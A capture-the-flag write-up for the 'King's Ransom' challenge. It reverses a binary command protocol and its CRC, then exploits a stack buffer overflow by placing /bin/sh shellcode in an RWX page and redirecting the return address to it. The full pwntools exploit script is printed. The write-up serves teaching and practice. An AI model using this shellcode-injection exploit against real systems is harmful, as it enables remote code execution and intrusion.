King's Ransom

The challenge prompt is as follows: > A vulnerable service with your "bank account" information running on the target system. Too bad it has already been exploited by a piece of ransomware. The ransomware took over the target, encrypted some files on the file system, and resumed the executive loop.

The challenge seems to present itself as a forensics challenge. We are given an x86-64 binary and a libc. Running `checksec` on the binary yields the following information:

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

So in terms of mitigations, we've got NX, but apart from that it feels like 1996.

The binary turns out to be small enough that we can fully reverse engineer it. It implements a simple command interpreter which takes messages in a binary format. The format is as follows:

```
struct Command __packed
{
    uint8_t magic55;
    uint8_t magicAA;
    uint16_t len;
    uint16_t crc;
    uint8_t y;
    uint8_t x;
    uint8_t data[];
};
```

The two magic bytes are self-explanatory. `len` is the length of any subsequent data associated with the command which is sent after the header. `crc` implements a simple CRC. This is presumably some standardized one but we simply reimplemented it in Python for our purposes. `y` selects which group of commands to address, and `x` is the specific function. The following commands are implemented: * y0x0: stdout data * y1x0: output floats * y1x1: accumulate floats * y2x0: output memory * y2x1: load memory * y3x0: terminate * y3x3: nop

The y2 group of commands allows the user to read and write into a very convenient page of RWX memory allocated at 0x12800000. The flags are read into this page on startup, however using the command to retrieve it returns garbage.

Command y1x1 turns out to be vulnerable to a stack buffer overflow by unpacking the commands onto the stack into a fixed-size buffer.

We can now simply obtain a remote shell: we use the y2x1 command to load a `/bin/sh` shellcode into the RWX page and then execute the y1x1 command, overwriting the return address with 0x12800000. From this point we can now simply `cat flag1.txt` and get the flag.

```
from pwn import *

import re

def crc(data):
    h = 0x1d0f
    for b in data:
        h = h ^ (b << 8)
        for i in range(8):
            if (h & 0x8000) == 0:
                h <<= 1
            else:
                h = (h + h) ^ 0xa02b
    return h & 0xffff
```

```
def make_cmd(y, x, data):
    buf = bytearray(8)
    struct.pack_into("B",  buf, 0, 0x55)
    struct.pack_into("B",  buf, 1, 0xaa)
    struct.pack_into("<H", buf, 2, len(data))
    struct.pack_into("<H", buf, 4, crc(data))
    struct.pack_into("B",  buf, 6, y)
    struct.pack_into("B",  buf, 7, x)
    buf += data
    return buf

def recv_cmd(r, exp_y=None, exp_x=None):
    buf = r.recvn(8)
    m55  = struct.unpack_from("B",  buf, 0)[0]
    mAA  = struct.unpack_from("B",  buf, 1)[0]
    size = struct.unpack_from("<H", buf, 2)[0]
    h    = struct.unpack_from("<H", buf, 4)[0]
    y    = struct.unpack_from("B",  buf, 6)[0]
    x    = struct.unpack_from("B",  buf, 7)[0]
    data = r.recvn(size)
    assert(m55 == 0x55)
    assert(mAA == 0xAA)
    #assert(size == len(data))
    assert(h == crc(data))
    if exp_y != None:
        assert(exp_y == y)
    if exp_x != None:
        assert(exp_x == x)
    return data

def cmd_write_rwx(r, off, data):
    buf = bytearray(4)
    struct.pack_into("<H", buf, 0, off)
    struct.pack_into("<H", buf, 2, len(data))
    buf += data
    r.send(make_cmd(2, 1, buf))

def cmd_read_rwx(r, off, size):
    buf = bytearray(4)
    struct.pack_into("<H", buf, 0, off)
    struct.pack_into("<H", buf, 2, size)
    r.send(make_cmd(2, 0, buf))
    data = recv_cmd(r, 0, 0)
    assert(len(data) == size)
    return data

def main():
    context.binary = ELF('./challenge')
    context.log_level = 'debug'
    r_pre = remote("wealthy-rock.satellitesabove.me", 5010)
    ticket = "<your ticket here>"
    r_pre.readline() # "ticket please"
    r_pre.sendline(ticket)

    addr_line = r_pre.readline() # Starting up Service on tcp:3.134.99.70:27993
    addr = addr_line.decode().split(" ")[-1]
    addr = addr[4:]
    ip, port = addr.split(":")

    r = remote(ip, port)

    sc = asm(pwnlib.shellcraft.amd64.linux.sh())
    cmd_write_rwx(r, 0x0, sc)

    addr = 0x12800000
    payload = b"\x00\x00\x00\x00" * 3 + struct.pack("<Q", addr) * 50
    r.send(make_cmd(1, 1, payload))

    context.log_level = "info"

    r.interactive()

    r.close()
    r_pre.close()

if __name__ == "__main__":
    main()
```